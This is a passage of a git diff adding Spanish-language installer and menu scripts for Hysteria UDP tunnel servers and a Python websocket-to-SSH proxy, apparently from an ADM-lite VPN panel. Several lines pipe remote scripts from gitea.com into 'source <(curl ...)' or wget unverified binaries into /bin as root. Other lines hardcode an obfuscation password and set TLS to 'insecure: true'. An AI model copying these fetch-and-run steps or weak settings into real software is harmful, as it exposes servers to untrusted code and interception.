$firstport ]]; then + last_port="$port,$firstport-$endport" + else + last_port=$port + fi + + # Add brackets to the IPv6 address + if [[ -n $(echo $ip | grep ":") ]]; then + last_ip="[$ip]" + else + last_ip=$ip + fi + + mkdir /root/hy + cat << EOF > /root/hy/hy-client.yaml +server: $ip:$last_port + +auth: $auth_pwd + +tls: + sni: $hy_domain + insecure: true + +obfs: $auth_pwd + +quic: + initStreamReceiveWindow: 16777216 + maxStreamReceiveWindow: 16777216 + initConnReceiveWindow: 33554432 + maxConnReceiveWindow: 33554432 + +fastOpen: true + +socks5: + listen: 127.0.0.1:5080 + +transport: + udp: + hopInterval: 30s +EOF + cat << EOF > /root/hy/hy-client.json +{ + "server": "$ip:$last_port", + "auth": "$auth_pwd", + "tls": { + "sni": "$hy_domain", + "insecure": true + }, + "obfs": "$auth_pwd", + "quic": { + "initStreamReceiveWindow": 16777216, + "maxStreamReceiveWindow": 16777216, + "initConnReceiveWindow": 33554432, + "maxConnReceiveWindow": 33554432 + }, + "fastOpen": true, + "socks5": { + "listen": "127.0.0.1:5080" + }, + "transport": { + "udp": { + "hopInterval": "30s" + } + } +} +EOF +echo " IP : $(mip)" > /etc/adm-lite/HYSTERIA/data.yaml +echo " DOMINIO : ${domainH2}" >> /etc/adm-lite/HYSTERIA/data.yaml +echo " Authentication : ${auth_pwd}" >> /etc/adm-lite/HYSTERIA/data.yaml +echo " PUERTO : ${port}" >> /etc/adm-lite/HYSTERIA/data.yaml +echo " SNI : ${proxysite}" >> /etc/adm-lite/HYSTERIA/data.yaml +echo " RANGO DE PUERTOS : 10000:65000" >> /etc/adm-lite/HYSTERIA/data.yaml +echo -e " \n Power By @drowkid01" >> /etc/adm-lite/HYSTERIA/data.yaml + url="hy2://$auth_pwd@$ip:$last_port/?insecure=1&sni=$hy_domain&obfs=salamander&obfs-password=$auth_pwd#HttpInjector-hysteria2" + echo $url > /root/hy/url.txt + nohopurl="hy2://$auth_pwd@$ip:$port/?insecure=1&sni=$hy_domain&obfs=salamander&obfs-password=$auth_pwd#HttpInjector-hysteria2" + echo $nohopurl > /root/hy/url-nohop.txt + systemctl daemon-reload &>/dev/null + systemctl enable hysteria-server &>/dev/null + systemctl start hysteria-server &>/dev/null + if [[ -n $(systemctl status hysteria-server 2>/dev/null | grep -w active) && -f '/etc/adm-lite/HYSTERIA/config.yaml' ]]; then + green " Servicio Hysteria2 Iniciado Exitosamente" + else + red "ERROR, NO SE PUDO EJECUTAR EL SERVICIO DE HYSTERIA2 , \n\nEjecute systemctl status hysteria-server para ver el estado del servicio" + fi + #yellow "Hysteria 2 client YML configuration file hy-client.yaml is as follows and saved to /root/hy/hy-client.yaml" + #red "$(cat /root/hy/hy-client.yaml)" + #yellow "Hysteria 2 client JSON configuration file hy-client.json is as follows and saved to /root/hy/hy-client.json" + #red "$(cat /root/hy/hy-client.json)" +msg -bar3 +cat /etc/adm-lite/HYSTERIA/data.yaml +msg -bar3 + green "$APP_IMPORT_GUIDE" + yellow "El URI de configuraci�n de Hysteria 2 (con salto de puerto) " + red "$(cat /root/hy/url.txt)" + yellow "El URI de configuraci�n de Hysteria 2 (sin salto de puerto) " + red "$(cat /root/hy/url-nohop.txt)" +read -p "$(green "Hysteria 2 Modulos UDP By @drowkid01 Finalizado ") " +} + +_hysteria(){ +clear&&clear +[[ ! -d /etc/adm-lite/HYSTERIA ]] && mkdir /etc/adm-lite/HYSTERIA +NAME=hysteria +#VERSION=$(curl -fsSL https://api.github.com/repos/HyNetwork/hysteria/releases/latest | grep tag_name | sed -E 's/.*"v(.*)".*/\1/') +VERSION=$(curl -fsSL https://api.github.com/repos/HyNetwork/hysteria/releases/latest | grep -w tag_name |sed -e 's/[^v.0-9 -]//ig'| tr -d '[:space:]') +[[ $(uname -m 2> /dev/null) != x86_64 ]] && TARBALL="$NAME-linux-arm64" || TARBALL="$NAME-linux-amd64" +interfas="$(ip -4 route ls|grep default|grep -Po '(?<=dev )(\S+)'|head -1)" +#https://github.com/apernet/hysteria/releases/download/app%2Fv2.0.2/hysteria-linux-amd64 + +sys="$(which sysctl)" + +ip4t=$(which iptables) +ip6t=$(which ip6tables) + +#OBFS=$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 10) +OBFS='ADMcghPLUS' + +msg -nama ' INGRESA TU SUBDOMINIO/DOMINIO \n' +#msg -nama ' Prederteminado ( ENTER )\n' +read -p " DOMAIN : " domain +sleep 4s +del 1 +msg -nama " COMPIANDO CERTIFICADO SSL (UDP). . . . " +[[ -e /etc/adm-lite/HYSTERIA/udpmod.ca.key && -e /etc/adm-lite/HYSTERIA/udpmod.server.crt ]] && { +msg -verd ' OK' +} || { +#( +#openssl genrsa -out /etc/adm-lite/HYSTERIA/udpmod.ca.key 2048 2048 +#openssl req -new -x509 -days 3650 -key /etc/adm-lite/HYSTERIA/udpmod.ca.key -subj "/C=CN/ST=GD/L=SZ/O=ChumoGH, Inc./CN=ChumoGH Root CA" -out /etc/adm-lite/HYSTERIA/udpmod.ca.crt +#openssl req -newkey rsa:2048 -nodes -keyout /etc/adm-lite/HYSTERIA/udp.server.key -subj "/C=CN/ST=GD/L=SZ/O=ChumoGH, Inc./CN=${domain}" -out /etc/adm-lite/HYSTERIA/udpmod.server.csr +#openssl x509 -req -extfile <(printf "subjectAltName=DNS:${domain},DNS:${domain}") -days 3650 -in /etc/adm-lite/HYSTERIA/udpmod.server.csr -CA /etc/adm-lite/HYSTERIA/udpmod.ca.crt -CAkey /etc/adm-lite/HYSTERIA/udpmod.ca.key -CAcreateserial -out /etc/adm-lite/HYSTERIA/udp.server.crt +# +(openssl genpkey -algorithm RSA -out /etc/adm-lite/HYSTERIA/udpmod.ca.key +openssl req -x509 -new -nodes -key /etc/adm-lite/HYSTERIA/udpmod.ca.key -days 3650 -out /etc/adm-lite/HYSTERIA/udpmod.ca.crt -subj "/C=CN/ST=GD/L=SZ/O=ChumoGH, Inc./CN=ChumoGH Root CA" +openssl req -newkey rsa:2048 -nodes -keyout /etc/adm-lite/HYSTERIA/udp.server.key -subj "/C=CN/ST=GD/L=SZ/O=ChumoGH, Inc./CN=${domain}" -out /etc/adm-lite/HYSTERIA/udpmod.server.csr +openssl x509 -req -extfile <(printf "subjectAltName=DNS:${domain}") -days 3650 -in /etc/adm-lite/HYSTERIA/udpmod.server.csr -CA /etc/adm-lite/HYSTERIA/udpmod.ca.crt -CAkey /etc/adm-lite/HYSTERIA/udpmod.ca.key -CAcreateserial -out /etc/adm-lite/HYSTERIA/udp.server.crt +) &>/dev/null && msg -verd ' OK' + +} +del 1 +[[ -e /etc/adm-lite/HYSTERIA/udp.server.crt ]] && chmod +x /etc/adm-lite/HYSTERIA/udp.server.crt +[[ -e /etc/adm-lite/HYSTERIA/udp.server.key ]] && chmod +x /etc/adm-lite/HYSTERIA/udp.server.key +msg -nama " Descargando BINARIO v${VERSION}.(FAKE). " +#if wget -O /bin/hysteria https://github.com/apernet/hysteria/releases/download/app%2F${VERSION}/${TARBALL} &>/dev/null ; then +if wget -O /bin/hysteria https://github.com/apernet/hysteria/releases/download/v1.3.5/${TARBALL} &>/dev/null ; then + chmod +x /bin/hysteria + msg -verd ' OK' + else + msg -verm2 ' FAIL ' + rm -f /bin/hysteria +fi +sleep 4s && del 1 +msg -nama ' Descargando Motor JSON . . . . ' +if wget -O /etc/adm-lite/HYSTERIA/config.json https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/UDPserver-sh/config.json &>/dev/null ; then + chmod +x /etc/adm-lite/HYSTERIA/config.json + sed -i "s/setobfs/${OBFS}/" /etc/adm-lite/HYSTERIA/config.json + msg -verd ' OK' + else + msg -verm2 ' FAIL ' + rm -rf /etc/adm-lite/HYSTERIA/config.json +fi +sleep 4s && del 1 +msg -nama ' COMPILANDO GoLang AUTHSSH ' +#if wget -O /bin/authSSH https://raw.githubusercontent.com/ChumoGH/ADMcgh/main/Plugins/authSSH &>/dev/null ; then +if wget -O /bin/authSSH https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/UDPserver-sh/authSSH &>/dev/null ; then + chmod +x /bin/authSSH + msg -verd ' OK' + else + msg -verm2 ' FAIL ' + rm -rf /bin/authSSH +fi +sleep 4s && del 1 +msg -nama ' COMPILANDO BINARIO DE SYSTEMA . . . . ' +if wget -O /etc/adm-lite/HYSTERIA/hysteria.service https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/UDPserver-sh/hysteria.service &>/dev/null ; then + chmod +x /etc/adm-lite/HYSTERIA/hysteria.service + systemctl disable hysteria.service &>/dev/null + #rm -f /etc/systemd/system/hysteria.service + + msg -verd ' OK' + else + msg -verm2 ' FAIL ' + rm -f /etc/adm-lite/HYSTERIA/hysteria.service +fi +sleep 4s && del 1 + sed -i "s%sysb%${sys}%g" /etc/adm-lite/HYSTERIA/hysteria.service + sed -i "s%ip4tbin%${ip4t}%g" /etc/adm-lite/HYSTERIA/hysteria.service + sed -i "s%ip6tbin%${ip6t}%g" /etc/adm-lite/HYSTERIA/hysteria.service + sed -i "s%iptb%${interfas}%g" /etc/adm-lite/HYSTERIA/hysteria.service + +install -Dm644 /etc/adm-lite/HYSTERIA/hysteria.service /etc/systemd/system + +systemctl start hysteria &>/dev/null +systemctl enable hysteria &>/dev/null +rm -f /etc/adm-lite/HYSTERIA/hysteria.service /etc/adm-lite/HYSTERIA/udpmod* +echo " IP : $(mip)" > /etc/adm-lite/HYSTERIA/data +echo " DOMINIO : ${domain}" >> /etc/adm-lite/HYSTERIA/data +echo " OBFS : ${OBFS}" >> /etc/adm-lite/HYSTERIA/data +echo " PUERTO : 36712" >> /etc/adm-lite/HYSTERIA/data +echo " ALPN : h3" >> /etc/adm-lite/HYSTERIA/data +echo " RANGO DE PUERTOS : 10000:65000" >> /etc/adm-lite/HYSTERIA/data +echo -e " \n Power By @drowkid01" >> /etc/adm-lite/HYSTERIA/data +msg -bar3 +echo "" +echo " --- TUS DATOS DE SERVICIO SON ---" +msg -bar3 +figlet -p -f smslant Hysteria | lolcat +msg -bar3 +cat /etc/adm-lite/HYSTERIA/data +msg -bar3 +enter +[[ $(ps x | grep hysteria| grep -v grep) ]] && echo -e "$(msg -verd 'SERVICIO HYSTERIA INICIADO EXITOSAMENTE')" || echo -e "$(msg -verm2 'SERVICIO HYSTERIA NO INICIADO')" +_menuH +} + +_menuH(){ +clear&&clear +msg -bar3 +cat /etc/adm-lite/HYSTERIA/data +msg -bar3 +unset op +[[ $(cat /etc/adm-lite/HYSTERIA/config.json | grep -w '//"alpn"') ]] && _ap='\033[0;31mOFF' || _ap='\033[0;32mON' +menu_func "CAMBIAR PUERTO" "CAMBIAR OBFS" "ALPN (http injector) \033[0;32m[ ${_ap}\033[0;32m ]" "REINICIAR SERVICIO" "\033[0;31mREMOVER SERVICIO" +msg -bar3 + selecy=$(selection_fun 5) +case $selecy in +1) +clear&&clear +unset _col +msg -bar3 +echo -e "INGRESE EL NUEVO PUERTO DE SERVICIO " +read -p " PUERTO : " _col +#_PA=$(cat /etc/adm-lite/HYSTERIA/config.json | grep -i listen |cut -d '"' -f4 |sed -e 's/[^0-9]//ig') +_PA=$(cat /etc/adm-lite/HYSTERIA/config.json |jq -r .listen |sed -e 's/[^0-9]//ig') + #sed -i "s%/bin/false%filemancgh%g" /etc/adm-lite/HYSTERIA/config.json +[[ ${_col} ]] && { +sed -i "s/${_PA}/${_col}/" /etc/adm-lite/HYSTERIA/config.json +sed -i "s/${_PA}/${_col}/" /etc/adm-lite/HYSTERIA/data +systemctl restart hysteria &>/dev/null +} + ;; + 2) +clear&&clear +unset _col +msg -bar3 +echo -e "INGRESE SU NUEVO OBFS " +read -p " OBFS : " _col +_obfs=$(cat /etc/adm-lite/HYSTERIA/config.json |jq -r .obfs) + #sed -i "s%/bin/false%filemancgh%g" /etc/adm-lite/HYSTERIA/config.json +[[ ${_col} ]] && { +sed -i "s/${_obfs}/${_col}/" /etc/adm-lite/HYSTERIA/config.json +sed -i "s/${_obfs}/${_col}/" /etc/adm-lite/HYSTERIA/data +systemctl restart hysteria &>/dev/null +} +;; +3) +clear&&clear +[[ $(cat /etc/adm-lite/HYSTERIA/config.json | grep -w '//"alpn"') ]] && { +sed -i '12d' /etc/adm-lite/HYSTERIA/config.json +sed -i '12i\ "alpn": "h3",' /etc/adm-lite/HYSTERIA/config.json +} || { +sed -i '12d' /etc/adm-lite/HYSTERIA/config.json +sed -i '12i\ //"alpn": "h3",' /etc/adm-lite/HYSTERIA/config.json +} +systemctl restart hysteria &>/dev/null +;; +4) +clear&&clear +unset _col +msg -bar3 +systemctl restart hysteria &>/dev/null +;; +5) +clear&&clear +rm -f /etc/adm-lite/HYSTERIA/* +systemctl disable hysteria &>/dev/null +systemctl remove hysteria &>/dev/null +rm -f /etc/systemd/system/hysteria.service +systemctl stop hysteria &>/dev/null +exit +;; + esac +} + +_menuH2(){ +clear&&clear +msg -bar3 +cat /etc/adm-lite/HYSTERIA/data.yaml +msg -bar3 +green "$APP_IMPORT_GUIDE" +yellow "El URI de configuraci�n de Hysteria 2 (con salto de puerto) " +red "$(cat /root/hy/url.txt)" +yellow "El URI de configuraci�n de Hysteria 2 (sin salto de puerto) " +red "$(cat /root/hy/url-nohop.txt)" +msg -bar3 +unset op +[[ $(cat /etc/adm-lite/HYSTERIA/config.yaml | grep -w '//"alpn"') ]] && _ap='\033[0;31mOFF' || _ap='\033[0;32mON' +menu_func "CAMBIAR PUERTO" "CAMBIAR CONTRASE�A" "REINICIAR SERVICIO" "\033[0;31mREMOVER SERVICIO" +msg -bar3 + selecy=$(selection_fun 5) +case $selecy in +1) +clear&&clear +unset _col +msg -bar3 + oldport=$(cat /etc/adm-lite/HYSTERIA/config.yaml 2>/dev/null | sed -n 1p | awk '{print $2}' | awk -F ":" '{print $2}') + echo -e "INGRESE EL NUEVO PUERTO DE SERVICIO " + read -p "Puerto [1-65535] (Puerto Ramdom Enter): " port + [[ -z $port ]] && port=$(shuf -i 2000-65535 -n 1) + until [[ -z $(ss -tunlp | grep -w udp | awk '{print $5}' | sed 's/.*://g' | grep -w "$port") ]]; do + if [[ -n $(ss -tunlp | grep -w udp | awk '{print $5}' | sed 's/.*://g' | grep -w "$port") ]]; then + echo -e "${RED} $port ${PLAIN} Puerto Ocupado , Reintente Nuevamente! " + read -p "Puerto [1-65535] (Puerto Ramdom Enter): " port + [[ -z $port ]] && port=$(shuf -i 2000-65535 -n 1) + fi + done + sed -i "1s#$oldport#$port#g" /etc/adm-lite/HYSTERIA/config.yaml + sed -i "1s#$oldport#$port#g" /root/hy/hy-client.yaml + sed -i "2s#$oldport#$port#g" /root/hy/hy-client.json + sed -i "s#$oldport#$port#g" /root/hy/url.txt + stophysteria && starthysteria + green "Su puerto fue modificado Exitosamente : $port" + cat /root/hy/url.txt + ;; + 2) +clear&&clear +unset _col +msg -bar3 + oldpasswd=$(cat /etc/adm-lite/HYSTERIA/config.yaml 2>/dev/null | sed -n 20p | awk '{print $2}') + oldobfs=$(cat /etc/adm-lite/HYSTERIA/config.yaml 2>/dev/null | sed -n 10p | awk '{print $2}') + echo -e "INGRESE SU NUEVA CLAVE/CONTRASE�A " + read -p " (Enter Clave RAMDON): " passwd + [[ -z $passwd ]] && passwd=$(date +%s%N | md5sum | cut -c 1-8) + + sed -i "20s#$oldpasswd#$passwd#g" /etc/adm-lite/HYSTERIA/config.yaml + sed -i "10s#$oldobfs#$passwd#g" /etc/adm-lite/HYSTERIA/config.yaml + sed -i "3s#$oldpasswd#$passwd#g" /root/hy/hy-client.yaml + sed -i "9s#$oldobfs#$passwd#g" /root/hy/hy-client.yaml + sed -i "3s#$oldpasswd#$passwd#g" /root/hy/hy-client.json + sed -i "8s#$oldobfs#$passwd#g" /root/hy/hy-client.json + sed -i "s#$oldpasswd#$passwd#g" /root/hy/url.txt + sed -i "s#$oldobfs#$passwd#g" /root/hy/url.txt + stophysteria && starthysteria + green "Su nueva contrase�a $passwd se aplico Exitosamente" + cat /root/hy/url.txt +;; +3) +stophysteria && starthysteria +;; +4) +clear&&clear +rm -f /etc/adm-lite/HYSTERIA/* + systemctl stop hysteria-server.service >/dev/null 2>&1 + systemctl disable hysteria-server.service >/dev/null 2>&1 + rm -f /lib/systemd/system/hysteria-server.service /lib/systemd/system/hysteria-server@.service + rm -rf /bin/Hysteria2 /etc/hysteria /root/hy /root/hysteria.sh + rm -f /bin/Hysteria2 + iptables -t nat -F PREROUTING >/dev/null 2>&1 + netfilter-persistent save >/dev/null 2>&1 +exit +;; + esac +} + +unset _So _Cu _HIS _HIS2 +while : +[[ $(ps x | grep -w 'udpServer'| grep -v grep) ]] && _So="$(msg -verd 'ON')" || _So="$(msg -verm2 'OFF')" +[[ $(ps x | grep -w 'UDP-Custom'| grep -v grep) ]] && _Cu="$(msg -verd 'ON')" || _Cu="$(msg -verm2 'OFF')" +[[ $(ps x | grep -w '/bin/hysteria' | grep -v grep) ]] && _HIS="$(msg -verd 'ON')" || _HIS="$(msg -verm2 'OFF')" +[[ $(ps x | grep -w '/bin/Hysteria2'| grep -v grep) ]] && _HIS2="$(msg -verd 'ON')" || _HIS2="$(msg -verm2 'OFF')" +_MSYS=" \n$(print_center "\033[0;35mUsuarios SSH del Sistema")" +_MSYS2="\n$(print_center "\033[0;35mNO SOPORTA USERS DE SISTEMA")" + +do +unset port + tittle + a=( [0]="\e[1;30m[\e[38;5;219m#" [1]="\e[1;30m]" ) + menu_func "UDP-REQUEST ${a[0]}socks-ip${a[1]} ${_So}" \ + "UDP-CUSTOM ${a[0]}http-custom${a[1]} ${_Cu}" \ + "UDP-HYSTERIA ${a[0]}app'smod${a[1]} ${_HIS}" \ + "UDP-HYSTERIA2 ${a[0]}http-injector${a[1]} ${_HIS2}" + back + #menu_func " UDP-REQUEST SocksIP \033[0;31m[${_So}\033[0;31m]${_MSYS}" "UDP-CUSTOM HTTPCustom \033[0;31m[${_Cu}\033[0;31m]${_MSYS}" "UDP-Hysteria APPMod's \033[0;31m[${_HIS}\033[0;31m] ${_MSYS}" + #echo -e "\033[0;35m [${cor[2]}01\033[0;35m]\033[0;33m ${flech}${cor[3]}UDP-REQUEST SocksIP \033[0;31m[${_So}\033[0;31m] ${_MSYS}" + #echo -e "\033[0;35m [${cor[2]}02\033[0;35m]\033[0;33m ${flech}${cor[3]}UDP-CUSTOM HTTPCustom \033[0;31m[${_Cu}\033[0;31m] ${_MSYS}" + #echo -e "\033[0;35m [${cor[2]}03\033[0;35m]\033[0;33m ${flech}${cor[3]}UDP-Hysteria APPMod's \033[0;31m[${_HIS}\033[0;31m] ${_MSYS}" + #echo -e "\033[0;35m [${cor[2]}04\033[0;35m]\033[0;33m ${flech}${cor[3]}UDP-Hysteria2 HTTP-Injector \033[0;31m[${_HIS2}\033[0;31m] ${_MSYS2}" + #msg -bar3 + #echo -ne "$(msg -verd " [0]") $(msg -verm2 "=>>") " && msg -bra "\033[1;41m Volver " + #msg -bar3 + opcion=$(selection_fun 4) + case $opcion in + 1) source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/UDPserver.org.sh) && exit;; + 2) source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/udp-custom.sh) && exit;; + 3) [[ $(ps x | grep -w "/bin/hysteria"| grep -v grep) ]] && _menuH || _hysteria ;; + 4) [[ $(ps x | grep -w "/bin/Hysteria2"| grep -v grep) ]] && _menuH2 || _hysteria2 ;; + 0) exit;; + esac +done + +pruebas(){ + +echo '[Unit] +Description=HysteriaUDP MOD Service BY @drowkid01 +After=network.target + +[Service] +User=root +Group=root' > /etc/adm-lite/HYSTERIA/hysteria.service +echo "ExecStartPost=${sys} net.ipv4.ip_forward=1 +ExecStartPost=${sys} net.ipv4.conf.all.rp_filter=0 +ExecStartPost=${sys} net.ipv4.conf.${interfas}.rp_filter=0 +ExecStartPost=${ip4t} -t nat -A PREROUTING -i ${interfas} -p udp --dport 10000:65000 -j DNAT --to-destination :36712 +ExecStartPost=${ip6t} -t nat -A PREROUTING -i ${interfas} -p udp --dport 10000:65000 -j DNAT --to-destination :36712 +ExecStopPost=${ip4t} -t nat -D PREROUTING -i ${interfas} -p udp --dport 10000:65000 -j DNAT --to-destination :36712 +ExecStopPost=${ip6t} -t nat -D PREROUTING -i ${interfas} -p udp --dport 10000:65000 -j DNAT --to-destination :36712" >> /etc/adm-lite/HYSTERIA/hysteria.service + +echo 'WorkingDirectory=/etc/adm-lite/HYSTERIA +Environment="PATH=/etc/adm-lite/HYSTERIA" +ExecStart=/bin/hysteria -config /etc/adm-lite/HYSTERIA/config.json server + +[Install] +WantedBy=multi-user.target +' >> /etc/adm-lite/HYSTERIA/hysteria.service + +} diff --git a/Recursos/menu_inst/autoconfig-sh/PDirect.py b/Recursos/menu_inst/autoconfig-sh/PDirect.py new file mode 100644 index 0000000..90fcc8e --- /dev/null +++ b/Recursos/menu_inst/autoconfig-sh/PDirect.py @@ -0,0 +1,283 @@ +#!/usr/bin/env python +# encoding: utf-8 +import socket, threading, thread, select, signal, sys, time, getopt + +# Listen +LISTENING_ADDR = '0.0.0.0' +if sys.argv[1:]: + LISTENING_PORT = sys.argv[1] +else: + LISTENING_PORT = 80 +#Pass +PASS = '' +# CONST +BUFLEN = 4096 * 4 +TIMEOUT = 60 +DEFAULT_HOST = '127.0.0.1:22' +#MSG = 'By-@drowkid01-ADM' +MSG = ' | ʀɪ | ' + +STATUS_RESP = '101' +FTAG = '\r\nContent-length: 0\r\n\r\nHTTP/1.1 Connection established\r\n\r\n' + +if STATUS_RESP == '101': + STATUS_TXT = 'Protocolo Websocket' +else: + STATUS_TXT = 'Connection established' + +RESPONSE = "HTTP/1.1 " + str(STATUS_RESP) + ' ' + str(STATUS_TXT) + ' ' + str(MSG) + ' ' + str(FTAG) +#RESPONSE = "HTTP/1.1 " + str(STATUS_RESP) + ' ' + str(MSG) + ' ' + str(FTAG) + + +class Server(threading.Thread): + def __init__(self, host, port): + threading.Thread.__init__(self) + self.running = False + self.host = host + self.port = port + self.threads = [] + self.threadsLock = threading.Lock() + self.logLock = threading.Lock() + + def run(self): + self.soc = socket.socket(socket.AF_INET) + self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.soc.settimeout(2) + intport = int(self.port) + self.soc.bind((self.host, intport)) + self.soc.listen(0) + self.running = True + + try: + while self.running: + try: + c, addr = self.soc.accept() + c.setblocking(1) + except socket.timeout: + continue + + conn = ConnectionHandler(c, self, addr) + conn.start() + self.addConn(conn) + finally: + self.running = False + self.soc.close() + + def printLog(self, log): + self.logLock.acquire() + print log + self.logLock.release() + + def addConn(self, conn): + try: + self.threadsLock.acquire() + if self.running: + self.threads.append(conn) + finally: + self.threadsLock.release() + + def removeConn(self, conn): + try: + self.threadsLock.acquire() + self.threads.remove(conn) + finally: + self.threadsLock.release() + + def close(self): + try: + self.running = False + self.threadsLock.acquire() + + threads = list(self.threads) + for c in threads: + c.close() + finally: + self.threadsLock.release() + + +class ConnectionHandler(threading.Thread): + def __init__(self, socClient, server, addr): + threading.Thread.__init__(self) + self.clientClosed = False + self.targetClosed = True + self.client = socClient + self.client_buffer = '' + self.server = server + self.log = 'Connection: ' + str(addr) + + def close(self): + try: + if not self.clientClosed: + self.client.shutdown(socket.SHUT_RDWR) + self.client.close() + except: + pass + finally: + self.clientClosed = True + + try: + if not self.targetClosed: + self.target.shutdown(socket.SHUT_RDWR) + self.target.close() + except: + pass + finally: + self.targetClosed = True + + def run(self): + try: + self.client_buffer = self.client.recv(BUFLEN) + + hostPort = self.findHeader(self.client_buffer, 'X-Real-Host') + + if hostPort == '': + hostPort = DEFAULT_HOST + + split = self.findHeader(self.client_buffer, 'X-Split') + + if split != '': + self.client.recv(BUFLEN) + + if hostPort != '': + passwd = self.findHeader(self.client_buffer, 'X-Pass') + + if len(PASS) != 0 and passwd == PASS: + self.method_CONNECT(hostPort) + elif len(PASS) != 0 and passwd != PASS: + self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n') + elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'): + self.method_CONNECT(hostPort) + else: + self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n') + else: + print '- No X-Real-Host!' + self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n') + + except Exception as e: + self.log += ' - error: ' + e.strerror + self.server.printLog(self.log) + pass + finally: + self.close() + self.server.removeConn(self) + + def findHeader(self, head, header): + aux = head.find(header + ': ') + + if aux == -1: + return '' + + aux = head.find(':', aux) + head = head[aux+2:] + aux = head.find('\r\n') + + if aux == -1: + return '' + + return head[:aux]; + + def connect_target(self, host): + i = host.find(':') + if i != -1: + port = int(host[i+1:]) + host = host[:i] + else: + if self.method=='CONNECT': + port = 22 + else: + port = sys.argv[1] + + (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0] + + self.target = socket.socket(soc_family, soc_type, proto) + self.targetClosed = False + self.target.connect(address) + + def method_CONNECT(self, path): + self.log += ' - CONNECT ' + path + + self.connect_target(path) + self.client.sendall(RESPONSE) + self.client_buffer = '' + + self.server.printLog(self.log) + self.doCONNECT() + + def doCONNECT(self): + socs = [self.client, self.target] + count = 0 + error = False + while True: + count += 1 + (recv, _, err) = select.select(socs, [], socs, 3) + if err: + error = True + if recv: + for in_ in recv: + try: + data = in_.recv(BUFLEN) + if data: + if in_ is self.target: + self.client.send(data) + else: + while data: + byte = self.target.send(data) + data = data[byte:] + + count = 0 + else: + break + except: + error = True + break + if count == TIMEOUT: + error = True + if error: + break + + +def print_usage(): + print 'Usage: proxy.py -p ' + print ' proxy.py -b -p ' + print ' proxy.py -b 0.0.0.0 -p 80' + +def parse_args(argv): + global LISTENING_ADDR + global LISTENING_PORT + + try: + opts, args = getopt.getopt(argv,"hb:p:",["bind=","port="]) + except getopt.GetoptError: + print_usage() + sys.exit(2) + for opt, arg in opts: + if opt == '-h': + print_usage() + sys.exit() + elif opt in ("-b", "--bind"): + LISTENING_ADDR = arg + elif opt in ("-p", "--port"): + LISTENING_PORT = int(arg) + + +def main(host=LISTENING_ADDR, port=LISTENING_PORT): + + print "\033[0;34m━"*8,"\033[1;32m PROXY PYTHON WEBSOCKET","\033[0;34m━"*8,"\n" + print "\033[1;33mIP:\033[1;32m " + LISTENING_ADDR + print "\033[1;33mPORTA:\033[1;32m " + str(LISTENING_PORT) + "\n" + print "\033[0;34m━"*10,"\033[1;32m ChumoGH ADM - LITE","\033[0;34m━\033[1;37m"*11,"\n" + + server = Server(LISTENING_ADDR, LISTENING_PORT) + server.start() + + while True: + try: + time.sleep(2) + except KeyboardInterrupt: + print 'Parando...' + server.close() + break + +if __name__ == '__main__': + parse_args(sys.argv[1:]) + main() diff --git a/Recursos/menu_inst/autoconfig-sh/Proxy.sh b/Recursos/menu_inst/autoconfig-sh/Proxy.sh new file mode 100644 index 0000000..9c31041 --- /dev/null +++ b/Recursos/menu_inst/autoconfig-sh/Proxy.sh @@ -0,0 +1,480 @@ +#!/bin/bash +# -*- ENCODING: UTF-8 -*- +BARRA="\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +echo -e "$BARRA" +echo -e " FUNCION DESCONTINUADA . . . . ." +echo -e " VE AL MENU 9, OPCION 7, OPCION 3" + +#if [[ ! -e /bin/ejecutar/PDirect.py ]]; then +clear +echo -e "$BARRA" +echo -e "\033[92m El programa requiere de unas instalaciones adiccionales\n al finalizar la instalacion devera ejecutar nuevamente\n este script!" +echo -e "$BARRA" +echo -ne "\033[97m Desea continuar [s/n]: " +read instal +[[ $instal = @(s|S|y|Y) ]] && { +clear +echo -e "$BARRA" +echo -e "\033[92m -- INSTALANDO PAQUETES NECESARIOS -- " +echo -e "$BARRA" +#python +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || apt-get install python -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python.......... $ESTATUS " +#python-pip +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || apt-get install python-pip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python-pip...... $ESTATUS " +#cowsay +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || apt-get install cowsay -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install cowsay.......... $ESTATUS " +#figlet +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || apt-get install figlet -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install figlet.......... $ESTATUS " +#lolcat +[[ 